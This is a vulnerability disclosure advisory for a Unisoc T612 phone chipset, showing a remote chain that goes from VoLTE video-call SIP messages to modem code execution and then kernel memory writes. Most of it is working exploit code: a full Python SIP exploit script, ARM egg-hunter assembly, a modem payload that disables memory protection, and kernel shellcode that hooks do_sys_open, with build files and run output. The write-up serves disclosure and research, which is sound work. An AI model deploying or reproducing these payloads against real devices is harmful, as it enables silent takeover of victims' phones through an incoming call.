UNISOC T612 LPE
17.8.26
SSD-DISCLOSURE
Vulnerebility
UNISOC (Shanghai) Technologies Co., Ltd. is a top-three global fabless semiconductor company headquartered in Shanghai, specializing in 2G/3G/4G/5G mobile communication, IoT, and smart device chipsets. Formerly Spreadtrum, it serves major brands like Honor, realme, vivo, Samsung, and Motorola, with products in over 140 countries.
A critical vulnerability has been identified in the Unisoc modem firmware that allows arbitrary code execution with kernel privileges from the modem context.
By disabling protections on the first memory region (ID 0) of the Memory
Protection Unit (MPU),
an attacker can gain unrestricted read and write access to physical memory. This
can ultimately lead to local privilege escalation, including the ability to
modify kernel code.
We have tried to reach out to the vendor through multiple channels (email and LinkedIn) but have not been able to receive any response.
An independent security researcher, 0x50594d, working with SSD Secure Disclosure.
Xiaomi Redmi A5 with a secutity patch level of 26-01-01.
Motorola E13 with a secutity patch level of 2025-02-01.
An exploitable Improper Isolation of Shared Resources on System-on-a-Chip (SoC) (CWE-1189) was identified in the mobile phones that have the Unisoc chipset. The root cause lies in the fact that no isolation between modem memory and kernel memory is present from the modem context.
An attacker who gains the ability to execute code on the modem can read from and write to the entire memory space by disabling protections on the first Memory Protection Unit (MPU) region (region ID 0).
The ARM code below configures MPU region 0 with read, write, and execute permissions. This region is defined with a base address of 0x00000000 and spans 0x100000000 bytes, effectively covering the entire 32-bit address space.
MOV r0, #0x0
MCR p15, 0, r0, c6, c2, 0
DSB
mov r0, #0x10b
MCR p15, 0, r0, c6, c1, 4
ISB
DSB
At this point, it becomes possible to read from and write to the device’s
physical memory.
The kernel is located at physical address 0x80080000.
For testing purposes, the Docker-based Open5GS deployment with Kamailio was used. The Dockerized VoLTE Setup tutorial was used as a reference.
The victim’s phone used in this test is the following:
Mobile Realme C33 (Unisoc T612)
Android security update 1 jully 2025
It is possible to root the phone by using the following repository.
An attacker could use any smartphone to contact the victim, requiring only the ability to place a video call.
The Osmocom USIM card sysmoISIM-SJA5-9FV SIM + USIM + ISIM Card (10-pack) with ADM keys; 9FV chip: has been acquired.
The LimeSDR is utilized for 4G communication.
An additional machine, used solely for running the exploit code, was added to
the Docker Compose environment at the address 172.22.0.100.
It registers with the IMS in the same manner as a standard User equipment. The
machine was included as follows.
attacker_machine:
image: attacker
container_name: attacker
expose:
-
"10101/tcp"
networks:
default:
ipv4_address:
172.22.0.100
Dockerfile:
FROM pwntools/pwntools
RUN cd /home/pwntools/ \
&& git clone https://github.com/mitshell/CryptoMobile \
&& cd CryptoMobile \
&& pip install . --break-system-packages
RUN sudo apt update \
&& sudo apt install openssh-server -y \
&& sudo mkdir /run/sshd \
&& sudo chmod 755 /run/sshd
RUN mkdir /home/pwntools/.ssh/ \
&& echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGa5TjMbqFs1mQLm5rUqPctCpOYAdnN/GDAkPks0Zlk9 gateau' >> /home/pwntools/.ssh/authorized_keys
COPY exploit.py
/home/pwntools/
COPY shellcode/text.bin
/home/pwntools/
ENTRYPOINT [ "sudo", "/usr/sbin/sshd", "-D", "-e", "-p", "10101" ]
To obtain the crash dump from the phone and force the modem to delay before
restarting, the slog must
be activated. This requires starting engineering mode, which can be done via
ADB.
adb shell am start -n com.sprd.engineermode/.EngineerModeActivity
Next you choose debug&log, YLog and
press Start.
The exploit.py script,
simulates the attacker device by authenticating to the core network and sending INVITE messages
containing the egg
hunter payload in the message body and then the last INVITE message
that contain the modem
payload.
To run the script, authenticate on the exploit machine and launch the tool. The
script includes an argparse interface,
allowing you to provide custom parameters as needed.
$ python exploit.py
[+]
Opening connection to
172.22.0.21
on port
5060:
Done
ims.mnc070.mcc999.3gppnetwork.org
[+] xmac is correct continue
[+] Authentication work!
[+] Registration complete
[+] Exploit send part 0
40404040494052405b4001e09d46bf8c4040c8f63040c046c046b1e0
[+] Exploit send part 1
01300578ff2dfbd14578fe2df8d18578aa2df5d1c578ef2df2d1b1e0
[+] Exploit send part 2
6124461e013e01313578ac42fad0043140f2b044c8f6e053c046b1e0
[+] Exploit send part 3
40f6b8471e1c40f2bc180430c046c046c046c046c046c046c046b1e0
[+] Exploit send part 4
ba420ad0a14201db40444940057835700136013201310130f2e79847
[+] Exploit has been send, now call the victim!
[*] Closed connection to 172.22.0.21 port 5060
Immediately afterward, initiate a video call from the attacker device to the
victim device. Once the victim answers the call, the modem start the egg
hunter.
The exploitation script exploit.py
#!/usr/bin/env python3
from pwn import *
import re
from argparse import ArgumentParser
from CryptoMobile.Milenage
import Milenage
IP_ATTACKER = "172.22.0.100"
class SipMessage:
def __init__(
self,
first_line,
headers,
content_length,
content
):
self.first_line
= first_line
self.headers
= headers
self.content_length
= content_length
self.content
= content
def
__repr__(self):
result = self.first_line.decode()
result +=
"\n".join([f"{header['name']}:
{header['value']}"
for
header
in
self.headers])
result += "\n\n"
if
self.content_length
!=
0:
result += self.content.decode()
return result
def
get_header(self,
name):
results =
[]
for header in self.headers:
if
header["name"]
== name:
results +=
[header["value"]]
return results
class Digest:
def __init__(
self,
digest,
ki,
opc,
user
):
self.digest
= digest[7:]
realm = re.findall('realm="([^"]*)"', self.digest)[0]
self.b64nonce = re.findall('nonce="([^"]*)"', self.digest)[0]
print(realm)
self.nonce = base64.b64decode(self.b64nonce)
self.rand = self.nonce[:16]
self.sqnxoraka = self.nonce[16:22]
self.amf = self.nonce[22:24]
self.mac = self.nonce[24:32]
# self.op = derive_op_from_opc()
milenage = Milenage(None)
milenage.set_opc(opc)
res, ck, ik, ak = milenage.f2345(
ki, self.rand
)
self.res
= res
self.ck
= ck
self.ak
= ak
self.ik
= ik
self.sqn = bytes(a ^ b for a, b in zip(self.sqnxoraka, self.ak))
self.xmac = milenage.f1(
ki, self.rand, self.sqn, self.amf
)
if self.mac != self.xmac:
print("[-] xmac is different from mac")
exit()
print("[+] xmac is correct continue")
self.nc = "00000001"
self.cnonce = "Yy5R3qjx"
A1 = hashlib.md5()
A1.update(user.encode())
A1.update(b":")
A1.update(realm.encode())
A1.update(b":")
A1.update(self.res)
A1_hex = A1.digest().hex()
A2 = hashlib.md5()
A2.update(b"REGISTER")
A2.update(b":")
A2.update(b"sip:")
A2.update(realm.encode())
A2_hex = A2.digest().hex()
response = hashlib.md5()
response.update(A1_hex.encode())
response.update(b":")
response.update(self.b64nonce.encode())
response.update(b":")
response.update(self.nc.encode())
response.update(b":")
response.update(self.cnonce.encode())
response.update(b":")
response.update(b"auth")
response.update(b":")
response.update(A2_hex.encode())
self.response_hex = response.digest().hex()
self.authorisation_header = "Authorization: Digest "
self.authorisation_header += f"username=\"{user}\", "
self.authorisation_header += f"realm=\"{realm}\", "
self.authorisation_header += f"nonce=\"{self.b64nonce}\", "
self.authorisation_header += f"uri=\"sip:{realm}\", "
self.authorisation_header += f"response=\"{self.response_hex}\", "
self.authorisation_header += f"qop=auth, nc={self.nc}, algorithm=AKAv1-MD5, "
self.authorisation_header += f"cnonce=\"{self.cnonce}\""
class Exploit():
def
__init__(self):
HOST =
"172.22.0.21"
self.con = remote(HOST, 5060, typ="tcp")
def get_src_port(self):
return self.con.lport
def
send(self,
data: bytes):
self.con.send(
data
)
def
recv_sip_message(self)
->
SipMessage:
status_line = self.con.recvuntil(b"\r\n")
headers = self.con.recvuntil(b"\r\n\r\n")
content_length = int(re.findall(b"Content-Length: ([0-9]*)\r\n", headers)[0])
content = b""
if
content_length !=
0:
content = self.con.recvn(content_length)
headers_list = []
for
header
in
headers.split(b"\r\n"):
header = re.findall(b"([^:]*):
(.*)",
header)
if
len(header)
==
1:
header = header[0]
headers_list += [
{
"name": header[0].decode(),
"value": header[1].decode()
}
]
return SipMessage(
status_line,
headers=headers_list,
content_length=content_length,
content=content
)
def
get_shellcode_parts():
with
open("egg_hunter.bin",
"rb")
as f:
content = f.read()
result = []
for
i
in
range(0,
len(content),
0x30
*
8):
result.append(content[i:i+28])
return result
def
main():
exploit =
Exploit()
lport = exploit.get_src_port()
parser = ArgumentParser()
parser.add_argument("--imsi_attacker", default="999999999999999")
parser.add_argument("--ki_attacker", default="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")
parser.add_argument("--opc_attacker", default="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")
parser.add_argument("--victim_phone_number", default="9076543210")
parser.add_argument("--attacker_phone_number", default="9076543211")
args = parser.parse_args()
imsi_attacker = args.imsi_attacker
ki_attacker = bytes.fromhex(args.ki_attacker)
opc_attacker = bytes.fromhex(args.opc_attacker)
domain = f"ims.mnc0{imsi_attacker[3:5]}.mcc{imsi_attacker[:3]}.3gppnetwork.org"
victim_phone_number = args.victim_phone_number
attacker_phone_number = args.attacker_phone_number
SIP_SEQ_ID = 1
register_request = f"""REGISTER
sip:{domain} SIP/2.0
Via: SIP/2.0/TCP
{IP_ATTACKER}:5060;branch=z9hG4bKku3z6faSleAq7RjyBvKgLzV4o
Max-Forwards: 70
From: <sip:{imsi_attacker}@{domain}>;tag=OG2.Dh8xb.ScY7
To: <sip:{imsi_attacker}@{domain}>
Call-ID: qahZb0O6BMOCyixWwVd1mGJme2Oo@{IP_ATTACKER}
CSeq: {SIP_SEQ_ID:d} REGISTER
Contact: <sip:{imsi_attacker}@{IP_ATTACKER}:5060>
Allow: INVITE, CANCEL, BYE, ACK, REFER, NOTIFY, MESSAGE,
INFO, PRACK, UPDATE, OPTIONS
Authorization: Digest username="{imsi_attacker}@{domain}",
realm="{domain}",
nonce="", uri="sip:{domain}",
response=""
Expires: 0
Supported: path
Content-Length: 0
""".replace("\n", "\r\n").encode()
SIP_SEQ_ID += 1
exploit.send(register_request)
Trying = exploit.recv_sip_message()
sip_challenge = exploit.recv_sip_message()
www_authenticate = sip_challenge.get_header("WWW-Authenticate")[0]
digest = Digest(
www_authenticate,
ki_attacker,
opc_attacker,
f"{imsi_attacker}@{domain}"
)
register_request_auth = f"""REGISTER
sip:{domain}:5060 SIP/2.0
Via: SIP/2.0/TCP {IP_ATTACKER}:5060;branch=z9hG4bK4252247255
Max-Forwards: 69
From: <sip:{imsi_attacker}@{domain}>;tag=4130282331
To: <sip:{imsi_attacker}@{domain}>
Call-ID: qahZb0O6BMOCyixWwVd1mGJme2Oo@{IP_ATTACKER}
CSeq: {SIP_SEQ_ID:d} REGISTER
Contact: <sip:{imsi_attacker}@{IP_ATTACKER}:{lport:d}>
Allow: INVITE, CANCEL, BYE, ACK, REFER, NOTIFY, MESSAGE,
INFO, PRACK, UPDATE, OPTIONS
AUTHORIZATION
Content-Length: 0
""".replace("\n", "\r\n").encode()
SIP_SEQ_ID += 1
exploit.send(
register_request_auth.replace(b"AUTHORIZATION", digest.authorisation_header.encode())
)
trying = exploit.recv_sip_message()
ok = exploit.recv_sip_message()
if
b"SIP/2.0
200 OK"
not
in
ok.first_line:
raise
Exception("Error
authentification")
print("[+] Authentication work!")
rport = re.findall("rport=([0-9]*)", ok.get_header("Via")[0])[0]
subscribe_request = f"""SUBSCRIBE
sip:{attacker_phone_number}@{domain} SIP/2.0
From: <sip:{attacker_phone_number}@{domain}>;tag=4130282331
To: <sip:{attacker_phone_number}@{domain}>
Call-ID: 4130282328_46852536@{IP_ATTACKER}
Via: SIP/2.0/TCP
{IP_ATTACKER}:{lport:d};branch=z9hG4bK4252247255
Max-Forwards: 70
Route:
<sip:172.22.0.21:{lport:d};lr>,<sip:orig@scscf.{domain}:6060;lr>
CSeq: {SIP_SEQ_ID:d} SUBSCRIBE
Event: reg
Contact: <sip:{IP_ATTACKER}:{lport:d}>
Content-Length: 0
""".replace("\n", "\r\n").encode()
SIP_SEQ_ID += 1
exploit.send(
subscribe_request
)
reg_saved = exploit.recv_sip_message()
if
b"SIP/2.0
200 Subscription to REG saved"
not
in
reg_saved.first_line:
raise
Exception("[-]
Subscribtion to reg failed")
notify = exploit.recv_sip_message()
if
b"NOTIFY"
not
in
notify.first_line:
raise
Exception("[-]
Registration error")
vias = notify.get_header("Via")
routes = "\n".join(["Via: " + via for via in vias])
ok = f"""SIP/2.0
200 OK
{routes}
To: {notify.get_header("To")[0]}
From: {notify.get_header("From")[0]}
CSeq: {notify.get_header("CSeq")[0]}
Call-ID: {notify.get_header("Call-ID")[0]}
Content-Length: 0
""".replace("\n", "\r\n").encode()
exploit.send(
ok
)
print("[+] Registration complete")
SIP_SEQ_ID = 7
def
send_exploit(data,
sip_seq_id, stack_depth=165):
data += data + b"a"
*
(0x80
-
len(data))
payload = b"v=0\r\n"
payload += b"m=video 51372 RTP/AVP \r\n" # for stack decallage
payload += b"a=" + b"acap:1 " * stack_depth + b"crypto:1 " + data + b"\r\n"
invite = f"""INVITE
sip:{victim_phone_number};phone-context={domain}@{domain};user=phone
SIP/2.0
From: <sip:{attacker_phone_number}@{domain}>;tag=4130282331
To:
<sip:{victim_phone_number};phone-context={domain}@{domain};user=phone>
CSeq: {sip_seq_id:d} INVITE
Call-ID: 4128004109_45009256@{IP_ATTACKER}
Via: SIP/2.0/TCP
{IP_ATTACKER}:{lport:d};branch=z9hG4bK4252247255
Max-Forwards: 70
Contact: <sip:{IP_ATTACKER}:{lport:d}>
Route:
<sip:172.22.0.21:5060;lr>,<sip:orig@scscf.{domain}:6060;lr>
P-Preferred-Identity: <tel:{attacker_phone_number}>
Allow:
INVITE,ACK,CANCEL,BYE,UPDATE,PRACK,MESSAGE,REFER,NOTIFY,INFO,OPTIONS
Content-Type: application/sdp
Accept: application/sdp,application/3gpp-ims+xml
P-Preferred-Service: urn:urn-7:3gpp-service.ims.icsi.mmtel
Accept-Contact: *;+g.3gpp.icsi-ref="urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel"
Supported: timer,100rel,replaces,histinfo,tdialog
P-Early-Media: supported
Content-Length: {len(payload):d}
Session-Expires: 1800;refresher=uac
""".replace("\n", "\r\n").encode()
invite += payload
exploit.send(
invite
)
trying = exploit.recv_sip_message()
if
b"SIP/2.0
100 Trying"
not
in
trying.first_line:
raise
Exception("Not
a trying message")
# print(trying)
not_acceptable = exploit.recv_sip_message()
if
b"SIP/2.0
488 Not Acceptable"
not
in
not_acceptable.first_line:
raise
Exception("Not
a not acceptable message")
for i, part in enumerate(get_shellcode_parts()):
print(f"[+] Exploit send part {i:d}")
print(part.hex())
send_exploit(part, SIP_SEQ_ID, 165 - i * 8)
SIP_SEQ_ID += 1
with
open("write_and_execute_code.bin",
"rb")
as f:
shellcode = f.read()
# payload = b"a" * 0x280 + b"\xff\xfe\xaa\xef" + cyclic_gen().get(1000) + b"".join([bytes.fromhex(f"{x:02x}") for x in range(0x100)])
payload = b"a" * 0x280 + b"\xff\xfe\xaa\xef" + shellcode
invite = f"""INVITE
sip:{victim_phone_number};phone-context={domain}@{domain};user=phone
SIP/2.0
From: <sip:{attacker_phone_number}@{domain}>;tag=4130282331
To:
<sip:{victim_phone_number};phone-context={domain}@{domain};user=phone>
CSeq: {SIP_SEQ_ID:d} INVITE
Call-ID: 4128004109_45009256@{IP_ATTACKER}
Via: SIP/2.0/TCP
{IP_ATTACKER}:{lport:d};branch=z9hG4bK4252247255
Max-Forwards: 70
Contact: <sip:{IP_ATTACKER}:{lport:d}>
Route:
<sip:172.22.0.21:5060;lr>,<sip:orig@scscf.{domain}:6060;lr>
P-Preferred-Identity: <tel:{attacker_phone_number}>
Allow:
INVITE,ACK,CANCEL,BYE,UPDATE,PRACK,MESSAGE,REFER,NOTIFY,INFO,OPTIONS
Content-Type: application/sdp
Accept: application/sdp,application/3gpp-ims+xml
P-Preferred-Service: urn:urn-7:3gpp-service.ims.icsi.mmtel
Accept-Contact: *;+g.3gpp.icsi-ref="urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel"
Supported: timer,100rel,replaces,histinfo,tdialog
P-Early-Media: supported
Content-Length: {len(payload):d}
Session-Expires: 1800;refresher=uac
""".replace("\n", "\r\n").encode()
# Last invite sent
exploit.send(
invite + payload
)
print("[+] Exploit has been send, now call the victim!")
if __name__ == "__main__":
main()
When the exploit sends the final INVITE to
the phone, it includes the modem
payload in the message body. The SIP message
– and therefore the modem
payload – is fragmented into chunks of 0x4b0 bytes.
Each chunk is separated by 0x1bc-byte
gaps scattered throughout the modem heap.
The role of the egg
hunter is to locate these modem
payload fragments written into modem heap memory and reassemble them
contiguously at address 0x8de00000.
The egg
hunter code egg_hunter.s is
shown below.
.text
.global _start
.THUMB
.equ HOLE_BETWEEN_PARTS, 356
_start:
EOR r0, r0, r0
EOR r0, r0, r0
EOR r1, r1, r1
EOR r2, r2, r2
EOR r3, r3, r3
B jump_return_address
# just after the PC
message: .word 0x8cbf469d
jump_return_address:
EOR r0, r0, r0
MOVT r0,
#0x8c30
NOP
NOP
B _second_chunk
.space HOLE_BETWEEN_PARTS
// Egg hunter
_second_chunk:
loop_egg_hunter:
ADD r0, r0,
#1
LDRB r5, [r0]
CMP r5, #0xff
BNE loop_egg_hunter
LDRB r5,
[r0,
#1]
CMP r5, #0xfe
BNE loop_egg_hunter
LDRB r5,
[r0,
#2]
CMP r5, #0xaa
BNE loop_egg_hunter
LDRB r5,
[r0,
#3]
CMP r5, #0xef
BNE loop_egg_hunter
// r0 src
B _third_chunk
.space HOLE_BETWEEN_PARTS
# reconstruct shellcode
_third_chunk:
// r6 cursor to search for begining of the memory region
// r1 will store the size to copy
MOVS r4, #0x61
SUB r6, r0, #1
loop_begining_chunk:
SUB r6, r6,
#1
ADD r1, r1, #1
LDRB r5,[r6]
CMP r4, r5
BEQ loop_begining_chunk
ADD r1, r1, #4
// r4 store size of chunk
MOVW r4, #0x4b0
// r3 where the shellcode will be placed
MOVT r3, #0x8de0
NOP
B _fourth_chunk
.space HOLE_BETWEEN_PARTS
_fourth_chunk:
// size shellcode need to replace if shellcode more that 0xcb8
MOVW r7, #0xcb8
// r6 will store cursor dst shellcode
MOV r6, r3
// r8 store the displacement between chunks
MOVW r8, #0x1bc
// r0 point at the begining of the src shellcode
ADD r0, r0, #4
NOP
NOP
NOP
NOP
NOP
NOP
NOP
B _fifth_chunk
.space HOLE_BETWEEN_PARTS
_fifth_chunk:
loop_copy_shellcode:
CMP r2, r7
BEQ execute_shellcode
CMP r1, r4
BLT copy_shellcode
ADD r0, r0, r8
EOR r1, r1, r1
copy_shellcode:
LDRB r5,
[r0]
STRB r5, [r6]
ADD r6, r6, #1
ADD r2, r2, #1
ADD r1, r1, #1
ADD r0, r0, #1
B loop_copy_shellcode
execute_shellcode:
BLX r3
The Makefile used to generate the egg_hunter payload.
all: clean
arm-linux-gnueabi-as egg_hunter.s
-o egg_hunter.o
arm-linux-gnueabi-ld -Ttext=0x8cbf469c -o egg_hunter.elf egg_hunter.o
arm-linux-gnueabi-objdump -d egg_hunter.elf
arm-linux-gnueabi-objcopy -O binary -j .text egg_hunter.elf egg_hunter.bin
scp -P
10101
egg_hunter.bin
pwntools@172.22.0.100:volume
clean:
rm -f egg_hunter.o
egg_hunter.bin
Once the egg
hunter has reassembled the modem
payload fragments, it executes the modem
payload, which writes the kernel
shellcode and installs a trampoline on do_sys_open.
A Python helper
script insert_template.py has
been writen to inject the kernel
shellcode and the trampoline in
the modem
payload.
from struct import pack, unpack
if
__name__ ==
"__main__":
with
open("../shellcode_kernel/shellcode_kernel.bin",
"rb")
as f:
shellcode_content = f.read()
with
open("../shellcode_kernel/trampoline.bin",
"rb")
as f:
trampoline_content = f.read()
with
open("write_and_execute_code_template.s",
"r")
as f:
template_content = f.read()
shellcode = ",".join(
[
f"0x{x:02x}" for x in shellcode_content
]
)
template_content = template_content.replace("<SIZE>", str(len(shellcode_content)))
template_content = template_content.replace("<SHELLCODE>", shellcode)
template_content = template_content.replace("<TRAMPOLINE_LSB>", hex(unpack(">H", trampoline_content[2:4])[0]))
template_content = template_content.replace("<TRAMPOLINE_MSB>", hex(unpack(">H", trampoline_content[0:2])[0]))
with
open("write_and_execute_code.s",
"w")
as f:
f.write(template_content)
The shellcode template write_and_execute_code_template.s that
will be used to generate the modem
payload is the following.
start:
PUSH
{r0,
r1, r2, r3, r4, lr}
// deactivate memory protection of region 0
MOV r0, #0x0
MCR p15, 0, r0, c6, c2, 0
DSB
mov r0,
#0x10b
MCR p15, 0, r0, c6, c1, 4
ISB
DSB
// # cat /proc/kallsyms |grep __arm64_compat_sys_vmsplice
// ffffffc0104f6b58 T __arm64_compat_sys_vmsplice
// >>> hex(0xffffffc0104f6b58 - 0xffffffc010080000 + 0x80080000)
// '0x804f6b58'
MOVW r0, #0x6b58
MOVT r0, #0x804f
// copy your shellcode
ADR r1, shellcode_kernel
LDR r2, =#<SIZE>
BL memcpy
// set zero to the "mutex" which is at end of bss
// RE5894:/ # cat /proc/kallsyms | grep __bss_stop
// ffffffc0121640e0 B __bss_stop
// >>> hex(0xffffffc0121640e0 - 0xffffffc010080000 + 0x80080000)
// '0x821640e0'
EOR r1, r1, r1
MOVW r0,
#0x40e0
MOVT r0, #0x8216
STR r1, [r0]
// create trampoline in do_sys_open
// # cat /proc/kallsyms |grep do_sys_open
// ffffffc0104adb00 T do_sys_open
// >>> hex(0xffffffc0104adb00 - 0xffffffc010080000 + 0x80080000)
// '0x804adb00'
MOVW r0, #0xdb00
MOVT r0, #0x804a
// Put trampoline code here (aka "B loader")
// At this stage of the RCE, data is interpreted as big-endian.
// If you use a different exploit path on the modem,
// data is more likely to be little-endian,
// so you must replace this value with its little-endian equivalent.
MOVW r1, #<TRAMPOLINE_LSB>
MOVT r1, #<TRAMPOLINE_MSB>
STR r1, [r0]
POP {r0, r1, r2, r3, r4, lr}
BX lr
memcpy:
PUSH
{r3,
lr}
loop_memcpy:
LDRB r3,
[r1]
STRB r3, [r0]
ADD r0, r0, #1
ADD r1, r1, #1
SUB r2, r2, #1
CMP r2, #0
BLT end_memcpy
B loop_memcpy
end_memcpy:
POP
{r3,
lr}
BX LR
shellcode_kernel:
.byte
<SHELLCODE>
shellcode_kernel_end:
The Makefile used to generate the modem
payload is the following.
all: clean
python insert_template.py
arm-none-eabi-as -mcpu=cortex-r7 -c write_and_execute_code.s -o write_and_execute_code.o
arm-none-eabi-objdump -D write_and_execute_code.o
arm-none-eabi-objcopy --only-section=.text -O binary write_and_execute_code.o write_and_execute_code.bin
clean:
rm -f write_and_execute_code.o
The payload written into the kernel is composed of two distinct sections.
The first section, .shellcode,
is placed over the __arm64_compat_sys_vmsplice function.
It contains the payload that
will be executed in kernel space. For demonstration purposes, the payload simply
invokes printk("Exploit
worked!");.
The second section, .trampoline,
is written at the beginning of the do_sys_open function.
This section contains the branch instruction B
loader required to redirect execution flow to the .shellcode section,
thereby transferring control to the payload.
The C file shellcode_kernel.c that
contains the kernel
shellcode.
#define MUTEX_BSS_END 0xffffffc0121640e0
static
void
loader()
__attribute__((section(".shellcode")));
static
void
payload()
__attribute__((naked))
__attribute__((section(".shellcode")));
static
void
trampoline()
__attribute__((naked))
__attribute__((section(".trampoline")));
extern void printk(char* format, ...);
void loader(){
/* Save registers used as arguments to do_sys_open(),
* then invoke the payload. */
__asm__ volatile (
"SUB sp, sp, #0x30\n"
"STP x0, x1, [sp, #0]\n"
"STP x2, x3, [sp, #0x10]\n"
"STP x29, x30, [sp, #0x20]\n"
"BL payload\n"
"LDP x0, x1, [sp, #0]\n"
"LDP x2, x3, [sp, #0x10]\n"
"LDP x29, x30, [sp, #0x20]\n"
"ADD sp, sp, #0x30\n"
"SUB sp, sp, #0x80\n"
"B do_sys_open_4"
);
}
void payload(){
/* Add a mutex to ensure the exploit code is executed only once. */
int* mutex = (int*)MUTEX_BSS_END;
if(*mutex == 1)
{
return;
}
*mutex = 1;
/* Kernel shellcode goes here.
* For demonstration purposes, we invoke printk().
*/
printk("Exploit worked !");
return;
}
void trampoline()
{
/*Jump to loader */
__asm__ volatile (
"B loader"
);
}
The linker script linker_script.ld used
to map .shellcode and .trampoline region.
MEMORY
{
SHELLCODE (rwx) : ORIGIN = 0xffffffc0104f6b58, LENGTH = 16K # __arm64_compat_sys_vmsplice
TRAMPOLINE (rwx) : ORIGIN = 0xffffffc0104adb00, LENGTH = 16K # do_sys_open
}
SECTIONS
{
.shellcode :
{
*(.shellcode)
*(.rodata)
}
>
SHELLCODE
.trampoline
:
{
*(.trampoline)
} > TRAMPOLINE
printk = 0xffffffc0102ee85c;
do_sys_open =
0xffffffc0104adb00;
do_sys_open_4 =
0xffffffc0104adb04;
}
The Makefile used to compile the kernel
shellcode.
all: clean
aarch64-none-elf-gcc -O0 -c shellcode_kernel.c
-o shellcode_kernel.o
aarch64-none-elf-ld shellcode_kernel.o -o shellcode_kernel.elf -T linker_script.ld
aarch64-none-elf-objdump -D shellcode_kernel.elf
aarch64-none-elf-objcopy --only-section=.shellcode -O binary shellcode_kernel.elf shellcode_kernel.bin
aarch64-none-elf-objcopy --only-section=.trampoline -O binary shellcode_kernel.elf trampoline.bin
clean:
rm -f shellcode_kernel.o
shellcode_kernel.elf
shellcode_kernel.bin
At the end the payload will execute the printk call
with the string "Exploit
worked !".
$ adb shell su -c "dmesg -w" | grep Expl
[ 965.332925] [c1] Exploit worked !